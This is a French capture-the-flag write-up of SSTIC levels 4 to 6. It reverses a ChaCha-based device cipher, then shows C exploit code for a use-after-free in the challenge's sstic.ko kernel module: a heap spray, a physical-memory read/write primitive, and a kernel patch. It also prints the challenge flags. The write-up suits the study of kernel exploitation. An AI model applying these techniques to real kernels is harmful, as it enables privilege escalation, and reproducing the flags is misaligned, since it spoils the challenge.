Cela ressemble fortement à un algorithme de chiffrement qui prend en entrée un bloc de 512 bits ( formé par les registres R0,R1,R2,R3 ). D’après le code de service le résultat du chiffrement doit donner un bloc de 48 octets à 0xFF suivi de EXECUTE FILE! pour qu’on puisse exécuter un binaire sur la machine.

bPasswordValid = 1;
for ( i = 0; i <= 0x2F; ++i )
{
  if ( output[i] != 0xFFu )
  {
    bPasswordValid = 0;
    break;
  }
}
if ( bPasswordValid )
  bPasswordValid = (unsigned __int64)strncmp(&output[0x30], "EXECUTE FILE OK!", 16) == 0;

Le coeur du chiffrement semble être basé sur une fonction en 0x11D0 qui est appelée 20 fois. Selon si le numéro du tour est pair ou impair plusieurs rotations de 12 octets sont effectuées sur les registres R1,R2 et R3 avant et après l’appel de la fonction.

Si l’on regarde de plus près la fonction FUNC_11D0 on voit qu’elle est composée d’operations inversible tel que ADD, XOR.

La troisième primitive que j’ai nommée Mix divise le registre en plusieurs bouts qu’elle échange entre eux.

MOVX R5, R1
SHLD R5, 0007
SHRD R1, 0019
ORD  R1, R5

Les opérations ci-dessus s’inversent avec les suivantes

MOVX R5, R1
SHLD R5, 0019
SHRD R1, 0007
ORD R1, R5

Notons Mix-1 l’inverse de la fonction Mix.

Avec nos brique ADD, XOR, Mix on peut facilement schématiser la fonction FUNC_11D0 :

Ensuite les briques SUB, XOR, Mix-1 nous permettent de construire la fonction inverse FUNC_11D0-1

Une fois la fonction inverse construite il ne nous reste plus qu’à replacer les blocs de la fonction originale à “l’envers”. On commence par faire l’inverse des opérations finales, soit

00001000: 42030020 MOVX R0, 2000
00001004: 420B0001 MOVX R2, 0100
00001008: 4E050020 LDRX R1, [ 00002000 ]
0000100c: 4E0C0200 LDRX R3, [ R2 ]
00001010: 45060300 XORX R1, R3
00001014: 21060000 SUBD R1, R0
00001018: 4F050030 STRX R1, [ 00003000 ]
0000101c: 40031000 ADDX R0, 0010
00001020: 400B1000 ADDX R2, 0010
00001024: 4E051020 LDRX R1, [ 00002010 ]
00001028: 4E0C0200 LDRX R3, [ R2 ]
0000102c: 45060300 XORX R1, R3
00001030: 21060000 SUBD R1, R0
00001034: 4F051030 STRX R1, [ 00003010 ]
00001038: 40031000 ADDX R0, 0010
0000103c: 400B1000 ADDX R2, 0010
00001040: 4E052020 LDRX R1, [ 00002020 ]
00001044: 4E0C0200 LDRX R3, [ R2 ]
00001048: 45060300 XORX R1, R3
0000104c: 21060000 SUBD R1, R0
00001050: 4F052030 STRX R1, [ 00003020 ]
00001054: 40031000 ADDX R0, 0010
00001058: 400B1000 ADDX R2, 0010
0000105c: 4E053020 LDRX R1, [ 00002030 ]
00001060: 4E0C0200 LDRX R3, [ R2 ]
00001064: 45060300 XORX R1, R3
00001068: 21060000 SUBD R1, R0
0000106c: 4F053030 STRX R1, [ 00003030 ]
00001070: 451E0700 XORX R7, R7

Ensuite on réalise les 20 tours mais en appelant la fonction inverse, et en inversant la condition sur le bit de parité. On envoie notre code de déchiffrement sur le device PCI et on lui passe en entrée la sortie attendue.

Ainsi on obtient le bloc de 64 bytes (suivi de la clef de déchiffrement de code) qui nous permet de générer la sortie attendue.

00000000: 65 78 70 61 6E 64 20 33  32 2D 62 79 74 65 20 6B  expand 32-byte k
00000010: 62 CC 27 3D E8 90 55 81  C4 FA C9 1C BE 45 10 34  b.'=..U......E.4
00000020: 1A 09 16 CA FA 05 14 F6  80 E4 60 4A A8 97 BA D4  ..........`J....
00000030: AD 62 A0 2D CD 9B 35 74  87 F6 7A B4 71 34 B6 97  .b.-..5t..z.q4..
00000040: 0E 03 05 0A 08 04 09 0B  00 0C 0D 07 0F 02 06 01  ................

En cherchant la chaine “expand 32-byte k” sur l’internet mondial, on réalise que c’était du ChaCha.

Il ne reste plus qu’à préparer un binaire à envoyer qui va nous extraire les clefs du device pci.

typedef struct {
  unsigned long long ident;
  char key[0x10];
}req_key_t;

int main(int argc,char** argv)
{
    char key[16] = {0};
    unsigned long long ident[9] = {
       0x675B9C51B9352849,
       0x3B2C4583A5C9E4EB,
       0x58B7CBFEC9E4BCE3,
       0x272FED81EAB31A41,
       0x0FBDF1AF71DD4DDDA,
       0x59BDD204AA7112ED,
       0x75EDFF360609C9F7,
       0x0D603C7E177F13C40,
       0x0ED6787E18B12543E
    };
    
	int fd = open("/dev/sstic",O_RDWR);
    if(fd  == -1)
    {
        printf("can't open session\n");
    }
    else
    {
        for(int i = 0; i < 9; i++)
        {
            req_key_t req = {0};
            req.ident = ident[i];
            if(ioctl(fd,0xC0185304,&req) == -1)
            {
                int errsv = errno;
                printf("can't get ident : %llx error %llx\n",ident[i],errsv); 
            }
            else
            {
               printf("ident : %llx\n",req.ident);
               DumpHex(req.key,16);
            }
        }
        close(fd);
    }
	return 0;
}

Les clefs récupérées permettent de déchiffrer le contenu du dossier admin dans lequel on retrouve le flag de ce niveau.

[
    {
        "name": "bfed24eb16bacb67a1dd90468223f35d5d5f751ca1f1323b7943918ca2b3ae18.enc", 
        "real_name": "CO_favorite_clip", 
        "type": "dir_index", 
        "perms": "0000000000000000", 
        "ident": "59bdd204aa7112ed"
    }, 
    {   
        "name": "6e875d839cac95d7ce50da2270064752ebf7e248e3e71498bb7ce77986d3b359.enc", 
        "real_name": "SSTIC{377497547367490298c33a98d84b037d}.mp4", 
        "type": "mp4", 
        "perms": "0000000000000000", 
        "ident": "675b9c51b9352849"
    }
]

Mais les clefs du dossier prod restent inaccessibles …

Niveau 5

Lorsqu’on regarde le handler de l’ioctl get_key de plus près, on se rend compte que les clefs qui ont un identifiant négatif ne sont pas accessibles lorsque le device est en mode debug (et malheureusement l’init du .ko active le mode debug du device PCI). Et rien ne garantit que si l’on saute la condition le device nous donne les clefs de prod sachant qu’il est en mode debug.

  debug_state = ioread32(iomem + 0x28);
  if ( debug_state < 0 || req->ident < 0 && debug_state )
    return 0xFFFFFFEALL;

Le plan est donc le suivant: il faut trouver un moyen d’exécuter du code kernel pour écrire dans le registre DEBUG du device PCI. Le module sstic.ko semble être un bon point d’entrée pour une exécution de code en kernel.

Analyse statique

Le module expose plusieurs ioctl sur /dev/sstic.

  • 0xC0185300 : ALLOC_REGION, permet de réserver une zone de mémoire physique contiguë pour le device PCI
  • 0xC0185301 : DEL_REGION, permet de supprimer une zone de mémoire physique précédemment réservé avec ALLOC_REGION
  • 0xC0185302 : ASSOC_REGION, permet d’associer une région avec le device PCI, il y’a 4 types de région,
    • STDIN : le programme user-land écrit dans la zone et le device PCI la lit
    • STDOUT : le device PCI écrit dans cette zone et le programme user-land la lit
    • CODE : le programme user-land écrit dans cette zone le code à faire exécuter par le device PCI
    • DEBUG : le device PCI écrit l’état des registres dans cette zone
  • 0xC0185303 : SUBMIT_COMMAND, déclenche une action sur le device
    • la commande 1 permet de déchiffrer un paquet chiffré par la VM du niveau 3.
    • la commande 2 permet d’exécuter du code sur le device PCI
    • les commandes utilisent les régions
  • 0xC0185304 : GET_KEY, demande au device PCI une clef à partir de son identifiant.
  • 0xC0185305 : DEBUG_STATE, renvoie la valeur du registre DEBUG du device PCI

Lorsque le programme ouvre /dev/sstic, le module crée une structure session valable jusqu’à la fin du programme. Cette session contient une liste doublement chaînée des régions allouées via l’ioctl ALLOC_REGION.

Ci-dessous un schéma des objets en mémoire après :

  • l’ouverture de /dev/sstic ( création d’un objet session_t )
  • l’allocation d’une région ( création d’un objet sstic_region et de sa phy_region associée avec 4 pages physiques réservées)
  • l’association de la région créée au STDIN du device PCI.

Comme on peut le voir le programme maintient un compteur de référence sur les objets de type phy_region.

Pour mapper les zones de mémoires physiques dans l’espace d’adressage du programme user-land, le module implémente le handler mmap. Lorsqu’une phy_region est mappée en mémoire virtuelle, une structure kernel vm_area_struct contenant une référence vers cet objet est créée. Cette structure contient des informations sur une zone de mémoire virtuelle contiguë.

Le module définit des vm_ops particulières pour les vm_area associées à des phy_region.

  • vm_open : appelé lorsqu’un processus ouvre la vma, par exemple lors d’un fork
  • vm_close : appelé lorsqu’un processus ferme une vma, par exemple lors d’un munmap
  • vm_split : appelé lorsqu’un processus découpe une vma en deux parties, par exemple avec une vma 0x4000-0x8000 (RWX), un mprotect(0x4000,0x2000,PROT_READ) decoupe la zone en deux vma une pour la zone 0x4000-0x6000 (R–) et une autre pour 0x6000-0x8000 (RWX)
  • vm_fault : principalement appelé lorsqu’un processus utilise une adresse virtuelle qui n’est pas associée à une page physique.

La vulnérabilité

Il y a un problème de compteur de référence lorsque le programme réalise les opérations suivantes:

  • alloc_region
  • mmap
  • fork
  • mprotect (child)
  • munmap (parent)

alloc_region & mmap

Lorsque le programme alloue une région, un objet phy_region est créé et une suite de pages physiques lui sont réservées. Ensuite lors de l’appel a mmap le programme fait un clone de la phy_region et l’associe avec une structure vm_area. Le compteur de référence de chaque page est incrémenté.

fork

Lorsque le programme fork, un clone de la vm_area du parent est créé par le kernel qui réalise ensuite un appel à vm_open. Le module sstic incrémente la référence de la phy_region.

mprotect

Un mprotect(addr,0x2000,PROT_READ) dans le fils, déclenche les appels suivants

  • vm_split informe au module que la vm_area d’origine va être coupée en deux à une adresse précise
  • le kernel redimensionne la première structure vm_area, change ses droits, et créé une deuxième structure vm_area ce qui va delencher un vm_open.
  • le handler sstic_vm_open s’occupe de créer une deuxième phy_region pour la nouvelle vm_area et de redimmensioner convenablement l’ancienne phy_region.

munmap

Un munmap(addr + 0x3000,0x1000) dans le parent, déclenche les appels suivants

  • vm_split informe au module que la vm_area d’origine va être coupée en deux
__int64 __fastcall sstic_vm_split(vm_area_struct *vm, unsigned __int64 split_address)
{
  phy_region_t *phy_region; // rax

  phy_region = vm->vm_private_data;          
  // La vma 0x00007feadcb34000 - 0x00007feadcb38000
  // va être coupé en deux à split_address = 0x00007feadcb37000
  phy_region->__split_addr = split_address;
  // vm_start = 0x00007feadcb34000
  phy_region->vm_start = (__int64)vm->vm_start; 
  return 0LL;
}
  • le kernel redimensionne la première structure vm_area, et crée une deuxieme structure vm_area ce qui va déclencher un vm_open.
  • le handler sstic_vm_open s’occupe de créer une deuxième phy_region pour la nouvelle vm_area et de redimensionner convenablement l’ancienne phy_region.

Le problème est que le processus père et le processus fils partagent la même phy_region, la vm_area du processus père fait toujours 4 pages mais est associée a une phy_region de 2 pages. Lorsque le vm_open redimensionne l’ancienne phy_region, la taille est calculée en fonction du début et de l’adresse de coupure. C’est pourquoi on se retrouve avec une zone de 3 pages et on récupère ainsi une référence sur la troisième page physique sans incrémenter son compteur de référence.

n_pages = (area->vm_end - (unsigned __int64)area->vm_start) >> 12; // (0x00007feadcb38000 - 0x00007feadcb37000) >> 12  =  1
_newphy_region = alloc_phy_region(n_pages);
newphyregion = _newphy_region;
if ( !_newphy_region )
BUG();
split_addr = oldphy_region->__split_addr;   // split_addr = 0x00007feadcb37000 
if ( (void *)split_addr <= area->vm_start ) // Ok
{
i = 0;
v14 = 0LL;
idx = 0LL;
new_n_page = (split_addr - oldphy_region->vm_start) >> 12; // BUG : (0x00007feadcb37000 - 0x00007feadcb34000) >> 12 = 3
if ( n_pages )
{
  do
  {
    ++i;
    newphyregion->__pages[idx] = (void *)*(&oldphy_region->__split_addr + v14 + new_n_page + 2);
    idx = i;
    v14 = i;
  }
  while ( i < n_pages );
}
oldphy_region->n_page = new_n_page;

Le schéma suivant présente l’état mémoire du programme juste avant l’appel à munmap. La fonction munmap déclenche un vm_close ce qui libère la phy_region associée à la vm_area 0x00007feadcb37000-0x00007feadcb38000, et décrémente le compteur de référence de la quatrième page.

Comme on peut le voir 2 structures page ont un compteur de référence qui vaut 2 alors que l’on possède 3 références dessus. Il est donc possible d’utiliser une page alors qu’elle a été libéré, c’est une vulnérabilité de type UAF (Use After Free).

PoC

L’exploit consiste à libérer la 4ième page (en supprimant deux phy_region associées), puis ensuite de spray des objets phy_region de 16 pages consécutives (pour éviter de réserver la page que l’ont à précédemment libérer) et espérer que la heap du kernel s’étende sur la page libre avec nos objets. Une fois la page réservée pour la heap du kernel on peut remapper la phy_region et sa 4ième page avec mmap et tenter de lire la page kernel.

int main(int argc,char** argv)
{
    initialize_shared();
    
    int session = open("/dev/sstic",O_RDWR);

    if(session >= 0)
    {
        int region_id = allocate_region(session,4,DEV_READ | DEV_WRITE);

        char* region_mem = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, session, region_id);
        pid_t pid = fork();
        if(pid == 0)
        {
            mprotect(region_mem,0x2000,PROT_READ);
            munmap(region_mem + 0x2000,0x2000);
            change_state(STAGE1);
        }
        else
        {
            waiting_state(STAGE1);
            munmap(region_mem + 0x3000,0x1000);

            // page 4 is now free, spray
            int regions[256] = {0};
            for(int i = 0; i < 256; i++)
                regions[i] = allocate_region(session,16,DEV_READ | DEV_WRITE);
            
            char* new_map = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, session, region_id);
            printf("0x%02.2x\n",new_map[0x3000]);
            while(1){};
        }
    }
    return 0;
}

Et là c’est le drame !

$ ./exploit
[...]
Bus Error

Lorsqu’on examine la mémoire au debugger on remarque que la page à un flags supplémentaire PG_slab car c’est une page réservée pour la heap du kernel.

Le module renvoie Bus Error lors de l’appel a vm_fault, ce qui veut dire que l’appel a vm_insert_page s’est mal passé. vm_insert_page fait appel à insert_page puis validate_page_before_insert. Et malheureusement pour nous validate_page_before_insert retourne une erreur lorsque la page est flaggé PG_slab.

static int validate_page_before_insert(struct page *page)
{
	if (PageAnon(page) || PageSlab(page) || page_has_type(page))
		return -EINVAL;
	flush_dcache_page(page);
	return 0;
}

Ce qui nous empêche de lire/écrire sur la page en question. Cependant, on peut utiliser le device qui lit directement en mémoire physique sans se préoccuper des flags. Pour cela il nous faut une page réservée pour l’input, la même pour l’output et la même utilisée par le kernel. Ainsi en exécutant du code sur le device qui va copier l’input dans l’output on va pouvoir

  • lire, en utilisant la page associée à la fois à l’input et au kernel
  • écrire, en utilisant la page associée à la fois à l’output et au kernel
int main(int argc,char** argv)
{
    initialize_shared();
    
    int session = open("/dev/sstic",O_RDWR);
    int session_read = open("/dev/sstic",O_RDWR);
    int session_write = open("/dev/sstic",O_RDWR);

    if(session >= 0)
    {
        int region_id = allocate_region(session,4,DEV_READ | DEV_WRITE);

        int code_write  = allocate_region(session_write,1 ,DEV_READ | DEV_WRITE);
        int code_read   = allocate_region(session_read ,1 ,DEV_READ | DEV_WRITE);
        int debug_read  = allocate_region(session_read ,1 ,DEV_READ);
        int debug_write = allocate_region(session_write,1 ,DEV_READ);
        int stdout_read = allocate_region(session_read ,1 ,DEV_READ);
        int stdin_write = allocate_region(session_write,1 ,DEV_READ | DEV_WRITE);

        char* mem_code_read  = mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,session_read,code_read);
        char* mem_debug_read = mmap(NULL,0x1000,PROT_READ,MAP_SHARED,session_read,debug_read);
         
        char* mem_code_write  = mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,session_write,code_write);
        char* mem_debug_write = mmap(NULL,0x1000,PROT_READ,MAP_SHARED,session_write,debug_write);

        memcpy(mem_code_read,"\x45\x06\x01\x00\x49\x07\x00\x10\x4C\xE3\x00\x11\x42\x1F\x00\x20\x42\x1B\x00\x30\x40\x1E\x01\x00\x40\x1A\x01\x00\x4E\x00\x07\x00\x4F\x00\x06\x00\x40\x07\x10\x00\x4C\x03\x04\x10",11 * 4);  
        memcpy(mem_code_write,"\x45\x06\x01\x00\x49\x07\x00\x10\x4C\xE3\x00\x11\x42\x1F\x00\x20\x42\x1B\x00\x30\x40\x1E\x01\x00\x40\x1A\x01\x00\x4E\x00\x07\x00\x4F\x00\x06\x00\x40\x07\x10\x00\x4C\x03\x04\x10",11 * 4);  

        char* region_mem = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, session, region_id);
        pid_t pid = fork();
        if(pid == 0)
        {
            pid_t child_bis = fork();
            if(child_bis == 0)
            {
                printf("[CHILD2]:split_mem\n");
                mprotect(region_mem,0x3000,PROT_READ);
                munmap(region_mem+0x3000,0x1000);
                change_state(STAGE2);
                while(1){}
            }
            else
            {
                waiting_state(STAGE2);
                printf("[CHILD1]:split_mem\n");
                mprotect(region_mem,0x3000,PROT_READ);
                munmap(region_mem+0x3000,0x1000);
                change_state(STAGE3);
                while(1){}
            }
        }
        else
        {
            waiting_state(STAGE3);
            // page 4 is free, reserve stdin
            int stdin_read = allocate_region(session_read,1,3);
            printf("[PARENT]:split_mem\n");
            mprotect(region_mem,0x3000,PROT_READ);
            munmap(region_mem+0x3000,0x1000);
            // page 4 is  free, reserve stdout
            int stdout_write = allocate_region(session_write,1,1);
            
            assoc_region(session_read,stdin_read,0);
            assoc_region(session_read,stdout_read,1);
            assoc_region(session_read,debug_read,2);
            assoc_region(session_read,code_read,3);
            
            assoc_region(session_write,stdin_write,0);
            assoc_region(session_write,stdout_write,1);
            assoc_region(session_write,debug_write,2);
            assoc_region(session_write,code_write,3);
            
            del_region(session,region_id);
            // page 4 is free, spray
            
            int regions[256] = {0};
            for(int i = 0; i < 256 ;i++)
            {
                regions[i] = allocate_region(session,16,DEV_READ|DEV_WRITE);
            }
            
            submit_command(session_read,2);
            
            char* mem_read  = mmap(NULL,0x1000,PROT_READ,MAP_SHARED,session_read,stdout_read);
            DumpHex(mem_read,0x200);
        }
    }
    return 0;
}

Le spray fonctionne et la lecture aussi, on retrouve nos structures phy_region de 16 pages.

$ ./exploit
[...]
region_id : 00104000
region_id : 00105000
region_id : 00106000
region_id : 00107000
region_id : 00108000
region_id : 00109000
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
10 00 00 00 01 00 00 00  00 94 08 00 E3 E1 FF FF  |  ................ 
40 94 08 00 E3 E1 FF FF  80 94 08 00 E3 E1 FF FF  |  @............... 
C0 94 08 00 E3 E1 FF FF  00 95 08 00 E3 E1 FF FF  |  ................ 
40 95 08 00 E3 E1 FF FF  80 95 08 00 E3 E1 FF FF  |  @............... 
C0 95 08 00 E3 E1 FF FF  00 96 08 00 E3 E1 FF FF  |  ................ 
40 96 08 00 E3 E1 FF FF  80 96 08 00 E3 E1 FF FF  |  @............... 
C0 96 08 00 E3 E1 FF FF  00 97 08 00 E3 E1 FF FF  |  ................ 
40 97 08 00 E3 E1 FF FF  80 97 08 00 E3 E1 FF FF  |  @............... 
C0 97 08 00 E3 E1 FF FF  00 00 00 00 00 00 00 00  |  ................ 
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
10 00 00 00 01 00 00 00  00 98 08 00 E3 E1 FF FF  |  ................ 
40 98 08 00 E3 E1 FF FF  80 98 08 00 E3 E1 FF FF  |  @............... 
C0 98 08 00 E3 E1 FF FF  00 99 08 00 E3 E1 FF FF  |  ................ 
40 99 08 00 E3 E1 FF FF  80 99 08 00 E3 E1 FF FF  |  @............... 
C0 99 08 00 E3 E1 FF FF  00 9A 08 00 E3 E1 FF FF  |  ................ 
40 9A 08 00 E3 E1 FF FF  80 9A 08 00 E3 E1 FF FF  |  @............... 
C0 9A 08 00 E3 E1 FF FF  00 9B 08 00 E3 E1 FF FF  |  ................ 
40 9B 08 00 E3 E1 FF FF  80 9B 08 00 E3 E1 FF FF  |  @............... 
C0 9B 08 00 E3 E1 FF FF  00 00 00 00 00 00 00 00  |  ................ 
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
10 00 00 00 01 00 00 00  00 9C 08 00 E3 E1 FF FF  |  ................ 
40 9C 08 00 E3 E1 FF FF  80 9C 08 00 E3 E1 FF FF  |  @............... 
C0 9C 08 00 E3 E1 FF FF  00 9D 08 00 E3 E1 FF FF  |  ................ 
40 9D 08 00 E3 E1 FF FF  80 9D 08 00 E3 E1 FF FF  |  @............... 
C0 9D 08 00 E3 E1 FF FF  00 9E 08 00 E3 E1 FF FF  |  ................ 
40 9E 08 00 E3 E1 FF FF  80 9E 08 00 E3 E1 FF FF  |  @............... 
C0 9E 08 00 E3 E1 FF FF  00 9F 08 00 E3 E1 FF FF  |  ................

Construire une primitive R/W

Tout d’abord il faut retrouver l’id des phy_region que l’on est capable de modifier. La fonction sstic_mmap accepte d’associer une phy_region avec une vm_area uniquement si elles font la même taille en nombre de pages. C’est à dire qu’un mmap, de taille 0x1000 avec une phy_region de 16 page, renvoie une erreur. En changeant la taille des phy_region (qu’on est capable de modifier grâce à la vulnérabilité vue précédement) de 16 à 1 page, le mmap n’échouera pas et on auras ainsi l’id de la phy_region dont on contrôle son contenu.

On peut ensuite préparer deux autres session pour lire et écrire qui vont utiliser chacune une phy_region dont on peut modifier le tableau de pointeur de page.

Pour lire à une adresse physique donnée :

  • on utilise session_write qui nous permet de modifier la phy_region associée en tant que stdin de session_rd2
  • on utilise ensuite session_read2 pour copier le contenu de la phy_region stdin (précédemment modifiée) vers une phy_region stdout

Pour écrire à une adresse physique donnée :

  • on utilise session_write qui nous permet de modifier la phy_region associée en tant que stdout de session_wr2
  • on utilise session_write2 pour copier le contenu d’une phy_region stdin vers la phy_region stdout (précédemment modifiée).
// page 4 is now free
del_region(fd,reg1);

int stdin_rd2[128] = {0};
int stdout_wr2[128] = {0};
for(int i = 0; i < 128; i++)
{
    stdin_rd2[i] = allocate_region(session_rd2,16,3);  // stdin
    stdout_wr2[i] = allocate_region(session_wr2,16,1); // stdout
}

// lecture de la page kernel touchée par l'UAF par le device
submit_command(session_read,2);

char* mem_read  = mmap(NULL,0x1000,PROT_READ,MAP_SHARED,session_read,stdout_read);
char* mem_write = mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,session_write,stdin_write);

// on recopie ce qu'on a lu
memcpy(mem_write,mem_read,0x1000);
// on passe n_page a 1 pour une phy_region stdin, et une phy_region stdout
mem_write[0x10] = 1;
unsigned long long page = *((unsigned long long*)&mem_write[0x18]); 
mem_write[0xD0] = 1;
// pour valider le PoC la phy_region stdout utilise la même page physique que la phy_region stdin
*((unsigned long long*)&mem_write[0xD8]) = page; 

// écriture des phy_region modifiée
// sur la page kernel touchée par l'UAF par le device
submit_command(session_write,2);

int found_stdin;
int found_stdout;

// recherche des phy_region stdin/stdout modifié, si le mmap n'échoue pas cad que la phy_region a été modifiée (n_page est passé de 16 à 1)
for(int i = 0; i < 128; i++)
{
    void* p = mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,session_rd2,stdin_rd2[i]);
    if((unsigned long long)p != 0xFFFFFFFFFFFFFFFF)
    {
        munmap(p,0x1000);
        found_stdin = stdin_rd2[i]; 
    }
}

for(int i = 0; i < 128; i++)
{
    void* p = mmap(NULL,0x1000,PROT_READ,MAP_SHARED,session_wr2,stdout_wr2[i]);
    if((unsigned long long)p != 0xFFFFFFFFFFFFFFFF)
    {
        munmap(p,0x1000);
        found_stdout = stdout_wr2[i];
    }
}

// On prépare la session_rd2
assoc_region(session_rd2,found_stdin,0);  // la phy_region que l'on contrôle est placé en stdin
assoc_region(session_rd2,stdout_rd2,1);
assoc_region(session_rd2,debug_read2,2);
assoc_region(session_rd2,code_read2,3);   // code_read2 réalise un memcpy de stdin vers stdout

// On prépare la session_wr2
assoc_region(session_wr2,stdin_wr2,0);   
assoc_region(session_wr2,found_stdout,1); // la phy_region que l'on contrôle est placé en stdout
assoc_region(session_wr2,debug_write2,2);
assoc_region(session_wr2,code_write2,3);  // code_write2 réalise un memcpy de stdin vers stdout

// Normalement puisque les phy_region modifiée sont associé à la même page physique
// Ce que l'on écrit dans via session_wr2, seras lu par la session_rd2.
char* pwrite = mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,session_wr2,stdin_wr2);
char* pread  = mmap(NULL,0x1000,PROT_READ,MAP_SHARED,session_rd2,stdout_rd2);

strcpy(pwrite,"POC Validated\n");
submit_command(session_wr2,2); // write in page
submit_command(session_rd2,2); // read in same page

Post-exploitation

Maintenant qu’on est capable de lire/écrire en mémoire physique, on scanne la mémoire à la recherche du code du module sstic.ko. On peut estimer la plage d’adresses physiques où chercher en utilisant le mode mémoire physique et la commande find de gdb.

(gdb) maintenance packet Qqemu.PhyMemMode:1
sending: "Qqemu.PhyMemMode:1"
received: "OK"

(gdb) find /b 0x0, 0x20000000, 0x48,0x8B,0x87,0xA8,0x00,0x00,0x00,0x48,0x89,0x70,0x08,0x48,0x8B,0x17,0x48,0x89,0x10
0x20f4000

Une fois le code trouvé on patch la fonction ioctl_get_key de manière à modifier le registre DEBUG du device PCI via la fonction iowrite32. Ensuite on peut demander au device PCI les clés de production. Dans le dossier prod on retrouve la fameuse vidéo mentionnée dans l’énoncé ainsi que le flag de l’étape 5, SSTIC{bf3d071f5a8a45fabc549d54be841f8b}.

[
    {
     "name": "914f6f6e67591ac4d03baa5110c9c5322eec7ace16f311233bfe3f674d93a2bc.enc", 
     "real_name": "Canal_Historique.mp4", 
     "type": "mp4", 
     "perms": "0000000000001000", 
     "ident": "ed6787e18b12543e"
    }, 
    {
     "name": "a24fad5785bd82f71b184100def10e56e9b239930ad06cfe677f6a8d692e452c.enc", 
     "real_name": "flags.txt", 
     "type": "txt", 
     "perms": "0000000000000000", 
     "ident": "fbdf1af71dd4ddda"
    }
]

Niveau 6

Lorsqu’on regarde la vidéo avec VLC on s’aperçoit qu’elle contient en réalité deux flux vidéo.

En choisissant la deuxième piste on obtient ainsi l’email tant attendu :

Pour finir je tiens à remercier les organisateurs pour ce challenge formidable qui m’aura beaucoup appris.